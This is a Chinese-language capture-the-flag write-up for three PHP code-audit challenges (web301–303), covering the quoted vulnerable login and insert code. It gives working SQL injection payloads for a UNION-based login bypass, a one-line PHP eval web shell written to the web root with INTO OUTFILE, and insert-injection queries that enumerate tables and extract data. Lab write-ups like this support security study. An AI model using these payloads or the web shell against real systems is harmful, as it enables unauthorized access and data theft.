前言
web301-310
web301
下载题目源码,进入题目,是一个登录界面
看看login.php的源码
<div class="login-font">
<i><?php echo isset($_SESSION['error']) &&( $_SESSION['error']=1)?"用户名密码错误":"";?> </i>
</div>
<div class="am-u-sm-10 login-am-center">
<form class="am-form" action="checklogin.php" method="post" >
<fieldset>
<div class="am-form-group">
<input type="text" class="" name="userid" id="" placeholder="输入登陆名称">
</div>
<p>
<div class="am-form-group">
<input type="password" class="" name="userpwd" id="" placeholder="输入登陆密码">
</div>
<p><button type="submit" class="am-btn am-btn-default">登录</button></p>
</fieldset>
</form>
</div>
要想登录成功就要让$_SESSION['error']
不存在或者不等于1
跟踪到checklogin.php
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
这里出现了sql查询语句$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
只要sql查询成功返回结果就不会使$_SESSION['error']="1";
,说白了就是用户名和密码输入正确
那么关键还是在这个sql语句上
构造临时用户
mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户
本地测试:
就像这样会生成一个假的用户
当只查询一个字段时,可以通过在username处插入SQL查询语句改变查询结果
所以payload为:
userid = 1' union select 1#&userpwd = 1
成功登录得到flag
法2:写入shell
payload:
userid=a' union select "<?php eval($_POST[cmd]);?>" into outfile "/var/www/html/1.php"#&userpwd=1
法3:sqlmap盲注
web302
和上题一样的登录界面
checklogin.php里的strcasecmp
部分修改为
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
跟踪sds_decode到fun.php
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
总之就是让SQL查询出的结果和输入password经过sds_decode
函数后的值一致
所以我们在本地让$str
的值为1得到返回的md5值再带回联合查询就行了
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>
payload:
userid = 1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd = 1
法2:写入shell
因为这个判断是在SQL语句执行之后,所以对写入shell没有影响
web303
和上题一样的登录界面
这次在checklogin.php中多了长度限制
if(strlen($username)>6){
die();
}
给了一个sds_user.sql文件
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for sds_user
-- ----------------------------
DROP TABLE IF EXISTS `sds_user`;
CREATE TABLE `sds_user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`sds_username` varchar(255) DEFAULT NULL,
`sds_password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of sds_user
-- ----------------------------
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
发现是admin的账号和密文
fun.php
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>
多了个echo sds_decode("admin");
运行一下得到27151b7b1ad51a38ea66b1529cde5ee4
,也就和上面sql文件中的密文是一样的
所以账号为admin,密码也为admin
进入后台,这次flag不在页面上了
回来看看源码
还有dpt.php和dptadd.php两个文件
因为需要登录后的session值所以一开始不能直接访问
if(!isset($_SESSION['login'])){
header("location:login.php");
}
现在进入后台了可以访问dpt.php
在dptadd.php发现存在注入点
<?php
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
?>
sql语句为insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."'......
,是无过滤insert注入
查表名
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#
查值
dpt_name=1',sds_address=(select flag from sds_fl9g)#
得到flag